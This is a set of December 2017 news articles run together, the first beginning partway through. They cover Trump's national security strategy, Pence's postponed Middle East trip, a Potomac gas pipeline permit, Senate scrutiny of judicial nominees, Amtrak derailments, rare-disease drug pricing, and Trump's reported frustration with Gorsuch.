"There's a germ of truth in what he says," Bergsten conceded. U.S. policy has failed to choke off intellectual property theft, especially in China. But, Bergsten added, "his overarching point that these are terrible [trade] deals, that they adversely affect U.S. economic interests, he's never offered a shred of proof of that."

Trump has dismissed this type of criticism and used the speech to emphasize one of his campaign themes - that past administrations got the short-end of trade agreements because they didn't now how to cut deals.

"Our leaders in Washington negotiated disastrous trade deals that brought massive profits to many foreign nations, but sent thousands of American factories and millions of American jobs to those other countries," he said.

Trump also boasted of his decision to withdraw from the "very expensive and unfair Paris climate accord" that President Barack Obama signed two years ago. But supporters of the accord say it is a small step toward slowing global warming that could prove catastrophic economically as well as from a climate view. And Obama repeatedly argued that denial of climate science would undercut renewable energy technologies that the U.S. economy needs to remain competitive in the future.

Trump's campaign theme of "America First" formed the foundation of his remarks.

"A nation that does not protect prosperity at home cannot protect its interests abroad," Trump said. "A nation that is not prepared to win a war is a nation not capable of preventing a war. A nation that is not proud of its history cannot be confident in its future. And a nation that is not certain of its values cannot summon the will to defend them."

Burns argued that "what's missing from this document is any emphasis that the U.S. has to promote democracy and human freedom, which most American presidents - John F. Kennedy, Ronald Reagan - have felt was important. He's weakening us on these essential foundations of American power."

Trump highlighted claimed accomplishments - including on issues not directly related to national security - a list administration contends have not received the attention they deserve.

Alongside withdrawal from what he called unfair trade and climate deals and a sharper focus on terrorism and border security, Trump listed a soaring stock market, deregulation and the likelihood of forthcoming tax cuts.

The national security strategy documents are broad outlines of U.S. policy that guide other, more specific planning such as nuclear and ballistic missile force posture.

Trump's version has four main organizing principles: Protecting the American homeland, protecting American prosperity, preserving peace through strength and advancing U.S. influence.

He presents China and Russia as competitors that want to realign global power in their interests, potentially threatening the United States, at the same time as those nations can be partners in pursuit of shared interests.

That is a familiar theme from past administrations, but the Trump document frames the contest as one that previous U.S. leaders failed to adequately recognize or counter.

"China and Russia challenge American power, influence, and interests, attempting to erode American security and prosperity," the document says. "They are determined to make economies less free and less fair, to grow their militaries, and to control information and data to repress their societies and expand their influence."

The president said that intellectual property theft would be targeted, a clear warning to China which American companies have complained about for years. "We will no longer tolerate trading abuse," he warned. "A nation that does not protect prosperity at home cannot protect its interest abroad."

As a candidate, Trump accused China of "raping" the United States economically and stealing jobs. As president, he has developed and trumpeted a warm relationship with Chinese President Xi Jinping, whom he credits with helping to apply pressure on North Korea over its nuclear weapons program.

Trump also pointed to his energy policies as a source of strength at home and abroad, suggesting that the United States could use its "energy dominance" to enhance its influence.

The Trump administration has indeed sought to open up more federal lands to coal, oil and natural gas exploration and production, but most of the domestic energy boom took place under the Obama administration. Oil output under Obama grew by more than 4 million barrels a day and natural gas output in states like Pennsylvania, Texas and Oklahoma rose rapidly.

Trump has publicly complimented Russian President Vladimir Putin, calling him "very smart," and has sought a better relationship with Russia after years of worsening ties under Obama. He has been openly skeptical of U.S. intelligence findings that Russia mounted a systematic effort to undermine the 2016 presidential election. But Trump has not reversed congressional sanctions on Russia over its actions in Ukraine, as Putin hoped he would.

The strategy document released Monday skirts the issue of Russia's involvement in the presidential election.

"Through modernized forms of subversive tactics, Russia interferes in the domestic political affairs of countries around the world," the document says.
WASHINGTON - The White House announced Monday that Vice President Mike Pence is delaying a planned trip to the Middle East in case his vote is needed to pass tax legislation - a move that also comes amid uproar over the Trump administration's decision to recognize Jerusalem as the capital of Israel.

Pence was scheduled to leave Tuesday night, arriving in Egypt on Wednesday for a bilateral meeting with Egyptian President Abdel Fatah el-Sissi. From there he was scheduled to visit Israel before traveling to Germany to meet with U.S. troops stationed there.

Pence's office said Monday the trip was being delayed so he can stay in Washington until votes on the tax-cut legislation are completed. He is now expected to travel to the Middle East during the week of Jan. 14, according to senior White House officials.

"The largest tax cut in American history is a landmark accomplishment for President Trump and a relief to millions of hardworking Americans," said Pence's press secretary Alyssa Farah. "The Vice President is committed to seeing the tax cut through to the finish line. The Vice President looks forward to traveling to Egypt and Israel in January."

Pence could potentially break a tie vote in the Senate on the tax bill, but that scenario become more remote on Monday after Sen. Susan Collins, R-Maine, announced her support for the bill.

A senior official said Monday that even though "the tax vote is still in very good shape," the last-minute failure of health-care reform legislation in July - following an unexpected thumbs down from Sen. John McCain, R-Ariz. - taught the White House not to take any votes for granted until they have actually been cast.

The delay comes on the same day that the United States blocked a Security Council resolution at the United Nations that would have rejected Trump's recognition of Jerusalem as Israel's capital. Egypt called for the resolution, which did not name the United States or Trump but expressed "deep regret at certain decisions concerning the status of Jerusalem," and asserted that "Jerusalem is a final status issue to be resolved through negotiations." This was the Trump administration's first Security Council veto, and all 14 other members supported the resolution, underscoring the U.S. isolation on the issue.

A senior official said that high-profile protests of Trump's decision were not a factor in delaying the trip.

Originally, Pence had planned to leave Saturday for a nearly week-long trip that included meetings with Israeli President Reuven Rivlin, Israeli Prime Minister Benjamin Netanyahu, Palestinian President Mahmoud Abbas, Sissi, grand imam of Egypt's Al-Azhar mosque and the pope of the Egyptian Coptic Church, who leads the largest Christian denomination in the Middle East.

Then Trump announced on Dec. 6 that his administration had decided to recognize Jerusalem as the capital of Israel, breaking with decades of U.S. policy and drawing sharp criticism from allies and adversaries. The administration also announced plans to eventually move its embassy from Tel Aviv to Jerusalem.

Suddenly, half of Pence's meetings were canceled. Abbas' diplomatic adviser, Majdi Khaldi, said Abbas would not meet with Pence "because the U.S. has crossed red lines" with its decision on Jerusalem. The two religious leaders also declined to meet with Pence. In the West Bank city of Bethlehem, which was originally a scheduled stop on Pence's tour, religious leaders turned off the city's Christmas tree lights earlier to protest the White House announcement.

Sissi agreed to still meet with Pence, although his decision to do so was deeply unpopular in Egypt.

On Thursday, White House announced that Pence would delay his trip by three days and shorten his itinerary. In doing so, senior officials said the protests were not a factor and that the vice president needed to stay in Washington until the tax vote was completed. The Republicans' already thin margin in the Senate became even more precarious when McCain, who is battling brain cancer, was hospitalized for side effects of his treatment. McCain has since flown home to Arizona to spend holidays with family, and is expected to miss the tax vote.

With the Senate vote now expected late Tuesday night or early Wednesday morning, White House officials said Monday that Pence's trip could not be shortened or delayed any further, so they decided to postpone. While they have not yet rescheduled his meetings, officials said that they hope the vice president will be able to keep all of his original appointments and perhaps visit additional countries in the region.
Clean-water activists who have spent much of 2017 attempting to block a proposed natural gas pipeline beneath the Potomac River and C&O Canal in western Maryland will have a chance to testify Tuesday evening at a state environmental hearing in Hancock, Maryland.

The Maryland Department of Environment is holding a hearing on whether to award a clean water permit for a 3.5-mile pipeline that would bring natural gas from Pennsylvania to West Virginia, bisecting the narrowest slice of Maryland's panhandle.

Environmentalists say that brief stretch could jeopardize the drinking water supply for about 6 million people, including much of the Washington metropolitan area. West Virginia business leaders say the natural gas is needed to bring economic development to an area that is short of jobs. Proponents say the pipeline would be safe.

The environmentalists, who have enlisted support from nine members of the D.C. Council, are asking Maryland Gov. Larry Hogan (R) to refuse the permit for what they are calling the Potomac Pipeline.

They have jammed local government meetings since February and staged several protests on the upper Potomac during the summer. In October, they demonstrated on the banks of the Potomac in Georgetown.

Another demonstration is schedule Tuesday night in Hancock.

Hogan, who earlier this year banned fracking in Maryland, has until March to grant or deny the permit, or the state loses the right to step in.

Federal regulators recently approved the much-larger Mountain Valley and Atlantic Coast pipelines in Virginia, while the State Water Control Board approved the first and delayed the permit for the second. Those pipelines drew large demonstrations and became a major issue in Virginia's recent election.

The Maryland pipeline, sought by TransCanada, has gotten much less attention, partly because about a dozen pipelines already cross the Potomac in Maryland alone, and partly because the proposed crossing is about 100 miles from the D.C. metropolitan area.
D. Ross Cameron/FRE

WASHINGTON - The Senate Intelligence Committee is looking at the presidential campaign of the Green Party's Jill Stein for potential "collusion with the Russians," a sign that the panel's probe is far from over, even as allegations swirl that the House Intelligence Committee's investigation is racing to a close.

Sen. Richard Burr, R-N.C., told reporters Monday that the Senate Intelligence Committee has "two other campaigns that we're just starting on," in addition to the panel's ongoing probe of alleged ties between the Trump administration and Kremlin officials. One of those he identified as Stein's; Burr has indicated previously that the committee is also looking into reports that the Democratic National Committee and the Hillary Clinton campaign paid for research that went into a dossier detailing allegations of Donald Trump's 2013 exploits in Moscow.
John Neely Kennedy, a freshman Republican senator from Louisiana, complained three weeks ago that the White House was ignoring his concerns about the subpar quality of President Donald Trump's judicial nominees. "It's like talking to the wind," he told reporters.

Now that he has helped torpedo three of those would-be judges in just the past week, they're paying attention. Trump himself called up Kennedy over the weekend after a video went viral of the senator humiliating his pick for a district court judgeship. During a confirmation hearing, Kennedy pressed Matthew Spencer Petersen, who is currently the chairman of the Federal Election Commission, on his lack of relevant experience and stumped him with a series of basic legal questions.

The White House withdrew Petersen's nomination on Monday. "I had hoped my nearly two decades of public service might carry more weight than my two worst minutes on television," Petersen said. "However, I am no stranger to political realities, and I do not wish to be a continued distraction . . ."

"Just because you've seen 'My Cousin Vinny' doesn't qualify you to be a federal judge," Kennedy told the New Orleans TV station WWL, referring to the 1992 movie about an inexperienced New York lawyer who exonerates two men wrongfully accused of murder in Alabama. "And my job on the Judiciary Committee is to catch him. I would strongly suggest he not give up his day job."

-- Bowing to opposition from Kennedy and Judiciary Committee Chairman Chuck Grassley, R-Iowa, Trump also withdrew two of his nominees for district court judgeships late last week: Brett Talley, a former speechwriter for Sen. Rob Portman, R-Ohio, who writes horror books and has participated in ghost-hunting activities but never tried a case, reportedly wrote a 2011 message board comment defending the Ku Klux Klan. Jeff Mateer, who was up for a judgeship in Texas, gave public speeches advocating discrimination against the LGBT community and called transgender children proof that "Satan's plan is working."

-- What's Kennedy play here? His spokeswoman told me that he was not available for an interview on Monday, so I asked several plugged-in observers in Louisiana and Washington why he's doing this. Beyond genuine unease with less-than-stellar nominees, three theories emerged:

1) He's exacting revenge against White House counsel Don McGahn.

Trump declined to nominate Kennedy's first choice for U.S. attorney in New Orleans, defense lawyer Kyle Schonekas. That's a process McGahn oversees.

Kennedy has also complained that he was not consulted before Trump picked Kyle Duncan for the New Orleans-based 5th Circuit. He said he found out about it only when McGahn called to tell him. This prompted a long delay in returning Duncan's blue slip.

Petersen, the nominee Kennedy grilled during last week's hearing, was mentored by McGahn at the Federal Election Commission. Talley, one of the other nominees Kennedy felled last week, is married to McGahn's chief of staff. Earlier this year, Kennedy became the first Republican senator to vote against one of Trump's judicial nominees when he opposed Gregory Katsas for a spot on the D.C. Circuit. Katsas was McGahn's No. 2 as deputy White House counsel. (Kennedy said his work in the White House created conflicts of interest that "a first-year law student could see.")

Making matters worse, when White House spokesman Hogan Gidley was asked Friday about Petersen wilting during his confirmation hearing, he suggested that Kennedy is one of "the president's opponents" and said he was "trying to distract from the record-setting success the president has had on judicial nominations."

Kennedy said Trump told him during their Saturday call that he did not personally interview Petersen and blamed his own staff for the crummy nominations. "He has told me, 'Kennedy, when some of my guys send someone who is not qualified, you do your job,'" the senator told WWL Monday. (A White House spokesman did not respond to a request for comment about the conversation.)

2) Kennedy, as a former Democrat, still has lots of trial lawyer friends.

The 66-year-old came to the Senate in January after 17 years as the state treasurer. He matriculated from Vanderbilt and got his law degree at the University of Virginia, where he was executive editor of the law review. Then he studied civil law at Oxford.

Kennedy was legal counsel in the 1980s to then-Democratic Gov. Buddy Roemer. After an unsuccessful bid for Louisiana attorney general in 1991, he went back into private practice. He became a partner in 1993 at Chaffe McCall, New Orleans's oldest law firm, where he was a corporate and civil trial attorney.

In 2004, Kennedy ran as a pro-John Kerry Democrat against Republican David Vitter for the Senate seat he now holds. It was open because of John Breaux's retirement.

After getting whipped, Kennedy decided to become a Republican. The national GOP rallied behind him when he challenged then-Democratic Sen. Mary Landrieu in 2008, but she beat him by six points. He stayed on as treasurer through all of this and became increasingly vocal in his criticisms of Bobby Jindal as the then-governor's approval rating slipped. After Vitter ran for governor in 2015 and said he wouldn't seek another term in the Senate, Kennedy jumped into the race.

But he's still got a lot of his old friends, and they don't like the ideological edge of Trump's picks.

3) Kennedy wants to run for governor in 2019, and he thinks this may help him.

"One very important thing to know about Kennedy is that everyone thinks he's running for governor," said Robert Mann, who teaches political communication at Louisiana State University and writes a column for the Times-Picayune. "It's assumed, and he's not done anything to tamp down the speculation that he's coming back. Everything he does in Washington has got to be viewed through that lens. . . . It's an office that he's wanted for a long time, and running for governor would be a free shot for him. If he loses, he's still got the Senate seat."

Kennedy would face John Bel Edwards, a moderate Democrat who has an approval rating just above 50 percent. To pick off some of those voters, he'd want to establish his independent bona fides. He might also see the writing on the wall that this will be a bad environment for Republicans after Roy Moore's loss in last week's Alabama special election.

Kennedy has looked for other areas to establish some independence, as well: He was one of two Republicans to defect when the Senate voted to repeal the Consumer Financial Protection Bureau's rule that made it easier for Americans to sue their banks and credit card companies when they are wronged - instead of being forced into an arbitration process that's tilted in favor of financial institutions.

Fueling speculation, he's been wading into state-level issues back home that would typically be outside a senator's purview. Last week, for example, Kennedy demanded that the former state police superintendent reimburse the state government for the nine years that he lived rent free at the state police compound. In doing so, he also took a whack at the governor for raising taxes. "Sen. Kennedy is not one to pass up an opportunity to get a headline," Edwards spokesman Richard Carbo told the Baton Rouge Advocate.

-- Bigger picture, the most consequential legacy of Trump's first year will be packing the courts. Republicans have literally changed the rules of the Senate related to filibusters and broken with century-old precedents related to blue slips to ram through a record number of judges, several of whom would never have passed muster to get nominated in normal times. In addition to a Supreme Court justice, the Senate has confirmed 12 circuit court judges and six district court judges this year. Several more are in the pipeline.

The White House has prioritized picking younger candidates (these are lifetime appointments) who have demonstrated loyalty to Trump (and fealty to his agenda). Multiple nominees have been rated Not Qualified by the nonpartisan American Bar Association, yet they got confirmed on party-line votes anyway.

Kennedy has voted for almost all these candidates, including a pivotal vote to put John Bush on the Sixth Circuit Court of Appeals. Bush was a Kentucky blogger who quoted from alt-right "birther" websites, disparaged gay rights and compared Roe v. Wade to the Dred Scott decision that upheld slavery. He made it through only because of his longtime loyalty to Senate Majority Leader Mitch McConnell, whom ambitious Republicans are always terrified to cross.

Another Trump pick, Damien Schiff, called Justice Anthony Kennedy a "judicial prostitute" on his blog.

-- The failure of three nominees in the last week may slow the breakneck pace and deter the administration from sending over so many controversial picks with so little courtroom experience. At the very least, the guys Trump is putting up for these crucial posts - 15 of the 19 judges who have been confirmed are men - might start preparing more earnestly and boning up on the kind of basic legal knowledge you're supposed to learn during the first year of law school. "There are still lots of other nominees in the pipeline who deserve the same intense scrutiny that made those nominees' flaws glaringly apparent," said Marge Baker, vice president of the liberal group People For the American Way.

-- Scoop: Trump considered rescinding Neil Gorsuch's Supreme Court nomination this spring after the judge distanced himself from the president's attacks on the judicial branch.The Post's Ashley Parker, Josh Dawsey and Robert Barnes report: "Trump, according to several people with knowledge of the discussions, was upset that Gorsuch had pointedly distanced himself from the president in a private February meeting with Sen. Richard Blumenthal, D-Conn., telling the senator he found Trump's repeated attacks on the federal judiciary 'disheartening' and 'demoralizing.' The president worried that Gorsuch would not be 'loyal,' one of the people said, and told aides that he was tempted to pull Gorsuch's nomination - and that he knew plenty of other judges who would want the job . . .

"It is unclear whether Trump's 'explosion,' as another administration official described it, truly put Gorsuch's nomination in jeopardy or whether the president was expressing his frustration aloud, as he often does. But at the time, some in the White House and on Capitol Hill feared that Gorsuch's confirmation - which had been shaping up to be one of the clearest triumphs of Trump's tumultuous young presidency - was on the verge of going awry. This account is based on interviews with 11 people familiar with the episode[.]"

---

With Breanne Deppisch and Joanie Greve.
iStock/Thinkstock(NEW YORK) -- Over 80 passengers and crew members were aboard an Amtrak train in Washington state Monday morning when, while on the inaugural run of a new route, the train derailed, killing three people.



This was the latest Amtrak accident in recent years.



Here are five recent derailments involving Amtrak trains, from Washington state to the Northeast.



May 12, 2015: Pennsylvania



A New York-bound Amtrak train derailed near Philadelphia on the night of May 12, 2015, killing eight people and injuring more than 200.



The National Transportation Safety Board (NTSB) said the train was traveling at 106 mph in an area where the speed is restricted to 50 mph.



That segment of the track just north of Philadelphia at the time lacked positive train control, a safety technology that, among other things, is designed to automatically slow trains that are traveling too fast, according to the NTSB. Amtrak has since fully implemented the technology throughout the Northeast corridor.



Federal safety regulators said last year that the engineer, Brandon Bostian, was likely distracted by radio traffic about an emergency situation on a train in the Southeastern Pennsylvania Transportation Authority (SEPTA) system. Bostian had just passed a SEPTA train with a shattered windshield and was very concerned about its engineer, who had requested medical attention, according to a transcript of his interview with the NTSB.



With his attention diverted, Bostian likely lost track of where he was and didnt realize the reduced speed limit to accommodate a curve, the NTSB said last year.



Amtrak said last year it would "quickly implement" the NTSB's recommendations after a review.



Oct. 5, 2015: Vermont



The morning of Oct. 5, 2015, an Amtrak train traveling from St. Albans, Vermont, to Washington, D.C., derailed over an embankment near Northfield, Vermont.



Seven people were injured.



March 14, 2016: Kansas



In the early morning of March 14, 2016, an Amtrak train heading from Los Angeles to Chicago derailed in southwest Kansas, injuring over 30 people.



Investigators said a feed truck had hit the track, causing it to shift about 12 to 14 inches before the derailment.



The engineer was quite vigilant and noticed the misalignment on the track and pulled the emergency brake, which was likely the reason the derailment was not worse, NTSB spokesman Earl Weener said at a news conference.



The train was traveling at 60 mph, the normal speed limit.



The case is ongoing.



April 3, 2016: Pennsylvania



On April 3, 2016, an Amtrak train with over 300 passengers on board was heading from New York to Savannah, Georgia, when it partially derailed in Chester, Pennsylvania, after striking a backhoe that was on the tracks.



Two maintenance works were killed and over 30 passengers were injured.



After a 19-month investigation, the NTSB last month identified 20 different factors that contributed to the crash.



Investigators said Amtrak had a "weak safety culture" where employees frequently took shortcuts and put on-time performance over safety. The NTSB had previously disclosed toxicology reports indicating marijuana in the system of the train's engineer and cocaine or opioids in the systems of the maintenance workers who died, but it did not conclude that the employees were impaired at the time of the crash.



While drug use did not have a "direct causal link to this accident," according to investigators, it is a reflection of a lax safety culture at Amtrak, they said.



Railroad repairs were ongoing in the days leading up to the fatal accident. A night foreman was found to have lifted a track safety closure while a backhoe remained on the track. The day foreman did not restore the closure, according to investigators, leading to a trains striking the backhoe at nearly 100 mph.



NTSB chairman Robert Sumwalt described the mistake by the foremen as "the fundamental error of the night."



Among the contributing factors in the crash were lack of communication between employees, the improper establishment of work zones and pressure from managers to keep trains on time.



Positive train control had been installed in the Northeast corridor where the crash occurred, but investigators said a series of human errors, such as not properly establishing the work zone, circumvented the technology.



The engineer of the involved train was fired after the accident because of his toxicology report, according to the NTSB.



Amtrak has "taken a series of actions to improve workplace safety," company spokeswoman Kimberly Woods told ABC News last month.



Woods would not say whether the foremen who mistakenly left the occupied track open were still working for Amtrak.



Dec. 18, 2017: Washington state



An Amtrak train from Seattle to Portland was on the inaugural run of a new route when it derailed Monday morning near Dupont, Washington, about 20 miles south of Tacoma.



All but one of the train's 14 cars jumped the tracks, killing three people on board the train, officials said.



Five cars and two semitrailers on the freeway below were struck by the train, but no one on the highway was killed.



More than 90 people were taken to hospitals, including 10 who were treated for serious injuries, officials said.



The train was traveling at 80 mph just prior to derailing, despite being in a 30-mph zone. Investigators have yet to interview the crew and engineer in the accident, and were unsure of why the train was going so fast.



The derailed train was the first to carry paying customers on a new route for Amtrak. This track had carried freight trains, but was recently upgraded to carry passengers. In a news release last week, Amtrak said using this route would allow for two more daily round-trips between Seattle and Portland and help trains avoid traveling around tight corners and tunnels. The state Department of Transportation said Monday "was the first day of public use of the tracks after weeks of inspection and testing."



Amtrak said in a statement Monday, "there is a thorough investigation underway to determine what happened. The investigation will be conducted by the NTSB, and we will cooperate fully with all authorities. At this time, we will not speculate about the cause, and we encourage others not to speculate as well."



"We are deeply saddened by the loss of life and injuries," Amtrak said, adding, "We will do everything in our power to support these passengers, our employees and their families."

Copyright  2017, ABC Radio. All rights reserved.
For four decades, Don Anderson of Seattle has been taking the same drug to help control the temporary bouts of immobility and muscle weakness caused by a rare and frightening genetic illness called periodic paralysis.

"It's like putting a 50-pound pack on your back and standing up at the dinner table," Anderson, 73, said. "It's like wearing lead shoes around all the time."

The drug Anderson has been taking all these years was originally approved in 1958 and used primarily to treat the eye disease glaucoma under the brand name Daranide, its price so unremarkable that he can't quite remember how much it cost at the pharmacy counter.

But the price has been on a roller coaster in recent years - zooming from a list price of $50 for a bottle of 100 pills in the early 2000s up to $13,650 in 2015, then plummeting back down to free, before skyrocketing back up to $15,001 after a new company, Strongbridge Biopharma, acquired the drug and relaunched it this spring.

"I'm constantly hearing that public pressure, public shaming will be sufficient to curb these bad actors in these industries. It often feels if you take your attention off of them, even for a second, they'll revert to these old ways," said Rachel Sachs, an associate law professor at Washington University in Saint Louis. "It's just another example of how the system has some problems that need to be fixed."

The zigzagging trajectory of the price of Daranide, now known as Keveyis, shows just how much freedom drug companies have in pricing therapies - and what a big business opportunity selling extremely-rare-disease drugs has become. It also illustrates how well-intentioned policy to help spur the development of "orphan" drugs for very rare diseases can have unintended consequences.

Daranide was approved half a century ago, often used to treat glaucoma. Some people with the rare neuromuscular condition, periodic paralysis, began taking it off-label to help control their disease. With a list price of $50 for 100 pills in 2001, it wasn't a drug people remember as hard to obtain. (Pricing data was obtained from Truven Health Analytics, part of the IBM Watson Health business.)

In the early 2000s, Daranide was discontinued by Merck. Other glaucoma treatments were available, but a small group of periodic paralysis patients who had found that it controlled their symptoms better than other drugs were left with few options. They found ways to get the drug, importing it from Europe or South Korea. Anderson recalls the expense as about $250 or $300 a month.

READ ALSO: North Carolina sues pharmaceutical over opioid scheme

In 2008, a family affected by the disease that also owned Taro Pharmaceutical Industries, a generic pharmaceutical company, decided to acquire Daranide from Merck. The goal was to make the drug reliably available to patients at a reasonable cost, Barrie Levitt, the former chairman of the company, and his son Jacob told The Post in 2016.

Jacob suffers from periodic paralysis, and although he took a different drug to control his disease, he became aware from his work in the patient advocacy community that Daranide had been discontinued, forcing patients to look for alternatives or find sources to import. He said Taro spent less than half a million dollars to acquire the old drug.

But Taro was taken over by another generic company, Sun Pharmaceutical Industries, in 2010. When the drug was approved in 2015 as a rare-disease treatment for periodic paralysis, it got a new name, Keveyis, and a new price: $13,650 for 100 pills. Although Keveyis is actually a decades-old drug, its federal approval for periodic paralysis came with a seven-year period of exclusive marketing rights.

In 2016, after The Washington Post asked questions about the high price of the drug, Sun Pharmaceutical said it would give the drug away free. Sun said that the timing was coincidental and reflected the fact that the company had made less than $1 million on the drug; not enough to recoup the investment the company had made in marketing and patient support services.

READ ALSO: Drugs cost too much and patent shenanigans are a big reason why

But the story doesn't end there. Late last year, Sun agreed to sell Keveyis to a biotech company, Strongbridge Biopharma, for $8.5 million. In April, Strongbridge relaunched the drug - and in August, it jacked the list price from $13,650 to $15,001 for a bottle of 100 pills.

In a PowerPoint presentation for investors, Strongbridge Biopharma estimated that the annual price of treatment for the drug, Keveyis, would range from $109,500 to $219,000, depending on the dosage the patient took. One slide shows that the drug is covered broadly by insurers. In November, the company announced $2.5 million in sales over the last quarter - a 67 percent increase over the previous quarter's $1.5 million in sales. It said it would expand its sales force, and executives said in a conference call that the company's medical affairs team had met with 75 medical leaders and was training speakers to lead "peer-to-peer educational programs."

Lindsay Rocco, a spokeswoman for Strongbridge Biopharma, declined to answer questions about why the company increased the price of the drug earlier this year. Instead, she issued a company statement saying that periodic paralysis affected only 5,000 people in the United States and the drug could provide benefits for those people.

"Strongbridge is committed to serving the unmet needs of the primary periodic paralysis and other rare-disease communities," the statement said.

Sun Pharmaceutical did not answer questions about why the company sold the drug after dropping the price to zero.

For patients, this is a double-edged sword. The company is selling the drug in the United States - a big improvement over the years when it wasn't available at all or had to be imported. And like nearly every drug company with a high-priced treatment, it offers patients support in navigating their insurance or help in paying for the drug.

Anderson, for example, pays nothing. Anderson said Keveyis is not on his insurer's list of covered drugs, but he gets it free without a co-pay. Providing help to patients in affording drugs by paying co-pays, helping overcome insurance barriers and even giving it away free helps individual patients, but also insulates the drug company from criticism of its price.

"If your insurance doesn't cover it or if you don't have insurance, they will provide it free," said Anderson, who added he is grateful to the company. "I don't understand how much it's costing some insurance companies."

Strongbridge has launched free genetic testing for the disease and is expanding its sales force, moves that will help it identify more people who could become customers.

"It's either: People get ripped off, but they live, or they don't get ripped off, and they die. It's a little bit of a blackmail situation," said Jacob Levitt, who has watched the price hikes with dismay. "The business model is a little bit taking advantage of making a cheap drug very expensive."

Levitt said that Strongbridge has given $250,000 to the patient organization that he heads, which helps support a conference. That's a valuable resource for patients; he notes it's an even more lucrative investment for the company, which can use the event to get in front of people with the disease and identify new patients.

"What they have done is found the mechanism for making a lot of money off of a drug they didn't have to make a lot of money off of," Levitt said.
WASHINGTON - For nearly eight months, President Donald Trump has boasted that appointing Neil Gorsuch to the Supreme Court ranks high among his signature achievements.

But earlier this year, Trump talked about rescinding Gorsuch's nomination, venting angrily to advisers after his Supreme Court pick was critical of the president's escalating attacks on the federal judiciary in private meetings with legislators.

Trump, according to several people with knowledge of the discussions, was upset that Gorsuch had pointedly distanced himself from the president in a private February meeting with Sen. Richard Blumenthal, D-Conn., telling the senator he found Trump's repeated attacks on the federal judiciary "disheartening" and "demoralizing."

The president worried that Gorsuch would not be "loyal," one of the people said, and told aides that he was tempted to pull Gorsuch's nomination - and that he knew plenty of other judges who would want the job.

It is unclear whether Trump's "explosion," as another administration official described it, truly put Gorsuch's nomination in jeopardy or whether the president was expressing his frustration aloud, as he often does. But at the time, some in the White House and on Capitol Hill feared that Gorsuch's confirmation - which had been shaping up to be one of the clearest triumph's of Trump's tumultuous young presidency - was on the verge of going awry.

This account is based on interviews with 11 people familiar with the episode, some of whom insisted on anonymity to discuss private deliberations.

Trump was especially upset by what he viewed as Gorsuch's insufficient gratitude for a lifetime appointment to the nation's highest court, White House officials said. The judge sent the president a handwritten letter dated March 2, thanking him for the nomination and explaining how grateful he was, according to a copy obtained by The Washington Post.

"Your address to Congress was magnificent," Gorsuch wrote. "And you were so kind to recognize Mrs. Scalia, remember the justice, and mention me. My teenage daughters were cheering the TV!"

The reference to "the justice" was to Antonin Scalia, the late justice whom Gorsuch replaced, and "Mrs. Scalia" is his widow, Maureen.

Aides said Trump did not immediately receive the note, but it was retrieved by legislative affairs director Marc Short and then viewed by Trump on March 10, helping ease his concerns.

"As head of legislative affairs, our team was in charge of his nomination, and never did I view his nomination in jeopardy, nor did the president ever suggest to me that he wanted to pull him," Short said. "The process obviously caused frustration, but that frustration was compounded by the fact that Gorsuch had sent him a personal letter that he never received."

Gorsuch, through a spokeswoman, declined to comment.

"The president's nomination of Neil M. Gorsuch was among his first and most important accomplishments during his first year in office, and delivered on a major campaign promise," White House spokesman Raj Shah said in a statement. "At no point did the president consider withdrawing Justice Gorsuch's nomination. He is very proud of the accomplishment."

Advisers also told Trump that Gorsuch was trying to demonstrate the independence necessary to make it through the confirmation process and that pulling the nomination would have far-reaching repercussions and might infuriate supporters who were enthusiastic about the conservative jurist.

In April, two months after Trump first expressed his ire, the Senate confirmed Gorsuch on a vote of 54 to 45. Trump and his allies promptly began boasting about the appointment as one of the president's major achievements.

The incident that so angered Trump came shortly after a federal judge had issued a nationwide stop to the president's travel ban targeting a list of majority-Muslim countries. At the time, the president disparaged the "so-called judge" on Twitter, writing that the ruling "put our country in such peril."

"If something happens blame him and court system," Trump wrote. "People pouring in. Bad!"

Trump had additionally said that a panel of the U.S. Court of Appeals for the 9th Circuit that held oral arguments to review the judge's order was "disgraceful" and that the judges cared more about politics than following the law.

Gorsuch, meanwhile, was moving through the confirmation process, doing rounds of courtesy meetings with senators on Capitol Hill - including the one with Blumenthal, which quickly became news after the senator shared their private discussion with reporters.

"I told him how abhorrent Donald Trump's invective and insults are toward the judiciary," Blumenthal told The Post in an interview. "And he said to me that he found them 'disheartening' and 'demoralizing' - his words."

Ron Bonjean, a member of the group guiding Gorsuch though the confirmation process, confirmed the account at the time.

The remarks angered the president, who attacked Blumenthal on Twitter, saying the senator misrepresented Gorsuch's comments. But at the time, at least, he also felt that Gorsuch himself was being disloyal.

In a meeting with House Speaker Paul Ryan, R-Wis., and Senate Majority Leader Mitch McConnell, R-Ky., Trump attacked the judge in sharp terms, surprising his fellow Republicans.

"He's probably going to end up being a liberal like the rest of them," Trump told the Republican leaders, according to a person with knowledge of the comments. "You never know with these guys."

A senior White House official who was in the room during the meeting disputed that characterization, saying the president is concerned about the judicial outlook of all lifetime nominees.

But McConnell was so concerned that he made a point of repeatedly telling Trump to stay the course on Gorsuch - and that he would make sure the judge made it through the confirmation process with as few hiccups as possible.

"It's clear [Trump] was very upset with the comment" by Gorsuch, said someone familiar with the incident, speaking anonymously to discuss a sensitive topic.

The person added that he largely faults the White House for failing to adequately prepare Trump for Gorsuch's comments and to explain that Supreme Court nominees asserting their independence from the president who appointed them was a natural part of a successful confirmation process.

In fact, establishing Gorsuch's independence from Trump was so important that it was the subject of the first question he was asked by Senate Judiciary Committee Chairman Charles Grassley, R-Iowa, a fervent Gorsuch supporter. "Tell us whether you'd have any trouble ruling against the president who appointed you," Grassley said at the time.

"That's a softball, Mr. Chairman," Gorsuch replied. "I have no difficulty ruling against or for any party, other than based on what the law and the facts and the particular case require. And I'm heartened by the support I have received from people who recognize that there's no such thing as a Republican judge or a Democratic judge. We just have judges in this country."

Despite Trump's early concerns, Gorsuch's young tenure has given the president little reason to question his appointment to the Supreme Court. If anything, the justice - who has emerged as one of the court's most conservative members - has been criticized for not distancing himself enough from both the president and the Republican Senate leaders who championed his nomination through the highly partisan confirmation process.

Gorsuch traveled to Kentucky with McConnell to lecture at the senator's two alma maters. One of his first public speeches was to a conservative scholarship organization that held their luncheon meeting at the Trump International Hotel in Washington, the subject of a lawsuit alleging that payments to Trump's companies violate the Constitution's emoluments clause.

Gorsuch also was the featured speaker at the annual black-tie gala of the Federalist Society, which had recommended him to Trump for the Supreme Court, telling the cheering crowd that neither originalism or textualism "is going anywhere on my watch."

In April, Trump bragged to the National Rifle Association that Gorsuch "is really something very special," and in June told the Faith and Freedom Coalition that no president had accomplished more in their first 100 days, citing Gorsuch as a key achievement.

